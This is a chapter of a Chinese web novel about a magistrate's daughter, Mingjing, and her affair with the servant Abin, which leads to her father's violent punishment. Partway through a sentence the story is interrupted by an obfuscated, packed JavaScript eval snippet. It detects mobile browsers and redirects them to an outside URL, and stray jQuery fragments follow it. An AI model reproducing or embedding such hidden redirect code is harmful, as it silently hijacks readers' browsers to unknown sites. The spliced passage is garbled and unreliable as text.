69.阿彬

作品:《听经[民国]

    也就在这一年,一个很重要的人物来到了邝府。


    当然,此刻还看不出这人的重要性,因为这人是刚从乡下买来做粗使杂役用的,晒得黝黑,然而眼睛亮、牙齿白,是一副看上去就很机灵的长相。他没有姓,被称作“阿彬”。


    一如所有小伙子,阿彬刚到邝府,就发现了大小姐特别的美。但和那些看一眼就脸红低头的小伙子们不一样,阿彬爱看就盯着看。他正劈着柴火,倘若明镜路过,他就要大喊一声:“大小姐!”


    明镜睥睨着他:“干什么?”


    “让你看我一下。你这不看过来了么?”


    “为什么要看你,你好看么?”


    阿彬用力抡起斧子,同时大声答道:“我自己是觉得——还不错啊!”


    这阿彬一出现,明台就感受到一种前所未有的危机感,她在陈海平面前都没感受到。背地里,她向姐姐告状:“新来的那个阿彬很轻浮。”


    明镜不置可否。阿彬很轻浮,这是显而易见的事,此外他还滑头、凶恶、狗胆包天,一种不受任何礼教侵染的性情,类似一只兽。要说那陈海平多么英俊潇洒,她感受不到,军装摆明了没穿过几次,崭新硬挺,套在他身上,像拿硬纸包咸鱼。但这阿彬不说多么英俊,他身上有一股劲儿,她就受那股劲儿的吸引。


    某日,她在祠堂外找他招招手,他立刻放下水桶跑过去。


    “阿彬,”她笑着说,“你想不想摸我的手?”


    阿彬不假思索道:“想。”


    “好,从这里往西十里,在布县的边界上,有个军营。你从那里偷一匹马出来,我就给你摸。”


    “大小姐要马做什么呢?”


    她拍手道:“好玩!”


    阿彬瞅着她,咧嘴笑了,露出一排白花花的牙齿,两侧的虎牙特别尖锐。他当即就去了,下午时就牵着一匹白马招摇过市,交给明镜。


    明镜第一次骑马,蹬了两次没蹬上去,阿彬在一边看着,忽然一托她的大腿把她扛上去了。


    她刚坐稳,就甩了他一巴掌。阿彬怕马乱跑,仍牢牢攥着辔头,笑嘻嘻地接下了这巴掌。


    明镜瞪了他片刻,也笑了,“挨打还笑?”


    “恨不得再挨一下。”


    “别挨了,”她垂下一只手,“给你摸一下。”


    阿彬握住那只手,很嫩、很软,泛着淡淡的粉红。他虔诚地用脸贴了贴她的手背,神情依然像一只小兽,兽的凶狠、兽的温驯,他都有。


    明台知道不妙了,这两人坏到了一起去,天雷勾地火。姐姐完全变了一个人,脸颊常因兴奋而浮现出玫瑰色,显得更明丽动人;甚至对妹妹的态度都有所好转。不是因为她终于有要爱护妹妹的意识,而是她太快乐了,从一个人身上得到的快乐,足够她向许多人播撒。


    因为她总是不满足、不快乐的,这样的变化,在明台看来很惊心。明台早就知道自己庸常无聊,不是她想要的伙伴;但如果那个伙伴是阿彬的话,明台接受不了。


    阳光明媚的午后,两人躲在后院的柴房里喁喁私语。柴房就挨着闺房,明台闭眼倒在架子床上,拉上了帷幔,仍能听到不高不低的交谈声,听不清具体内容。架子床是黄花梨的,花大价钱打造,四面雕了花鸟葡萄等精致的纹样,留不住姐姐,姐姐要躲在柴房里。


    人世间竟有这么多的无可奈何,姐姐要和陈少爷结婚,她会痛苦;姐姐不跟陈少爷结婚,她也会痛苦。后者的程度更甚。


    她完全顾不上吃醋了,她巴不得陈少爷赶紧来把姐姐娶走,也比让姐姐跟一个二流子勾勾搭搭强!思索良久后,她给父亲写了一封信,措辞非常委婉,先拉家常,末尾提了一嘴:姐姐的诗句里常出现伤春感怀之语。


    邝盖世也正想着此事,立刻回了一趟家。黄氏大办酒席,给他接风洗尘,席上,他问明镜:“你的诗学得怎么样了?”


    明镜答道:“还可以吧!”


    邝盖世道:“那么,给你妹妹作一首。明台很关心你。你要出嫁了,以后和明台就难得一见了!”


    明镜非常快地瞥了明台一眼,明台不敢看她。她要来纸笔,挥墨而就:


    并蒂豆蔻花,双影映春阳。


    妆台争巧笑,闺阁共新裳。


    忽见红烛举,方知别意长。


    含泪仍笑嘱:“莫忘旧时妆!


    他日庭前过,还呼姊同裳。”


    明台虽然不能想象明镜“含泪笑嘱”的样子,但这么多年来,明镜第一次白纸黑字地对她表达情意,就算是假的,也是板上钉钉的真。她小心把纸张收好了,晚上又拿出来看,正好明镜走进来,倚在门框上问:“这诗写得如何?”


    “写得很好。”


    她嗤笑道:“好个鬼。我乱写一首来敷衍爹爹,结果爹爹也说好,娘也说好,你也说好,弄得我自己都不知道好不好了!拿笔来,我写一首好的给你瞧瞧。”


    明台连忙照做,明镜迅速写了第一版,但是不满意,不给她看,自己嘀嘀咕咕、涂涂改改。等到明台困得要睡了,她也没有睡意,只说需要继续修改。


    第二日清晨,明镜把她摇醒,说写完了。明台揉了揉眼睛,立刻前去观摩她的大作。纸上涂涂改改、到处都是污迹,最终版缩在角落里,她特意画了个框框框出来:


    千山行尽千山雪,一川送客一川烟。


    身似浮云归大化,心随高雁越江天。


    醉倚琼筵倾我笑,忽闻花间有新弦。


    若得长乐如春水,何须执手故柳边。


    明台看了半晌,只觉得一件事比一件事糟糕,脑子嗡嗡直响。“何须执手故柳边”是什么意思?此生不要与她相见了?现在就算明镜真要写伤春感怀之诗,只是伤阿彬的春、感阿彬的怀,她都受得了;就算在诗里表达自己被逼婚的愤慨,也情有可原。


    “何须执手故柳边”是什么意思?你没有心吗?


    明镜问:“写得如何?”


    “没有之前一首好。”她说着,把宣纸撕了。


    明镜大为诧异。她最近成天和阿彬玩闹,疏于诗文上的锻炼,为了这首诗,苦思冥想一整晚,渐渐又找到了一点巅峰时期对诗的感觉。而明台居然俗气至此,不能领略这首诗的妙处。一阵晨风入户,满地轻飘飘的纸片四散开来,她找回来的那一点感觉,也随之消散了。


    她想说话,又觉得和妹妹没什么可说的。


    明镜再也懒得作诗了。


    邝盖世一回家就忙着张罗婚事,势必要把女儿风风光光地送到陈家去,嫁妆不能薄了她的。明镜三番五次地说自己不想嫁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319745|192557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    给那个陈海平,他不理会,说烦了,揍了她一顿。


    他扪心自问,是很对得起明镜了。陈家是小门小户吗?陈海平是矮还是丑?嫁妆是没给够吗?


    明镜完全不看现实条件,就一句话:“我不喜欢他。”


    邝盖世怒极反笑,“你心比天高!陈家少爷你都不喜欢,你喜欢谁啊?你喜欢玉皇大帝?”


    明镜张口就说:“我喜欢阿彬。”


    邝盖世因为回家回的少,连阿彬是谁都不认识。正要发问,她信口胡编道:“我有阿彬的孩子了。”


    此言犹如一颗惊雷落在邝家,把家都要炸塌了。


    邝盖世立刻把她和阿彬分开关起来,向陈顺申请取消婚约,并承诺把明镜打死谢罪。黄氏和明台声泪俱下的求情,说何必如此呢?有孩子了,打掉再嫁过去,不是一样的?就算陈家不要,肯定也有别人要她的,何必和她过不去!


    然而邝盖世不能原谅明镜。他真够对得起这个女儿了!好吃好喝好穿好婚姻,她却不识时务、不要脸,和一个脏兮兮的杂役偷情!陈顺不仅是他的伯乐,更是他的明主,两人在十几年间产生了过命的交情。他自认为是个很有道德的人,“兄弟如手足,妻子如衣服”,何况非妻非子,只是个女儿。用不干净的女儿欺骗兄弟,他做不出来。


    他到关押阿彬的牢房里,问:“明镜有你的孩子了?”


    阿彬一怔,想明镜这个人啊......这一句胡话,足以置一个地位卑下的杂役于死地了。


    邝盖世隔着栏杆踢了他一脚,“是不是?”


    他说:“是。”


    邝盖世抄起木棒就打,打得人气息奄奄了,收起棒子,寻思着不能让他不明不白地死在狱中了。他要挑一个日子,把这对狗男女吊死在行刑台上,请县里的父老乡亲都来看,看他邝盖世的大义、道德与教女不严的悔过之心。


    两位父辈达成了一致,但陈海平不同意。他是进了学堂的,首先不同意此等野蛮之举,其次认为明镜必有苦衷,是受了阿彬的引诱乃至强迫。事发的第二天晚上,他就带着陈海龙进了牢房,卫兵一见他是少将军,立刻放了通行。


    陈海平找到阿彬的牢房,看他满身血污、鼻青脸肿的样子,就气打不着一处来。就是这样一个畜生!


    “你居然敢碰邝大小姐?”他攥着栏杆大吼道,“你知道我是谁吗?我和大小姐自小就有婚约,我都......我都不曾在没有长辈的场合和她说过话!你是什么东西?你自己照照——”


    他越说越激愤,然而阿彬重伤未愈,根本没法回嘴,只是一动不动地躺在地上。


    陈海平看到他仰躺的姿势,忽然把腿从栏杆缝隙里伸进去,用坚硬的马靴狠狠踢了他的命根子。


    这一下使得阿彬痛号一声,小猫小狗一样蜷缩起来。陈海平并未和人打过架,这么一下,让他疼了,也就够了。他又去找明镜,慷慨激昂地发表了一通演说,大意是你不要怕,我不会让你死的,我不计较你,愿意跟你好好生活。


    世上没有几个男人能做到这份上,陈海龙在一边听着,觉得少爷是真君子。他自问就不能原谅未婚妻红杏出墙。但话又说回来,未婚妻是邝明镜......


    他心里挺不是滋味地瞧着明镜,她都落难了,还这么美。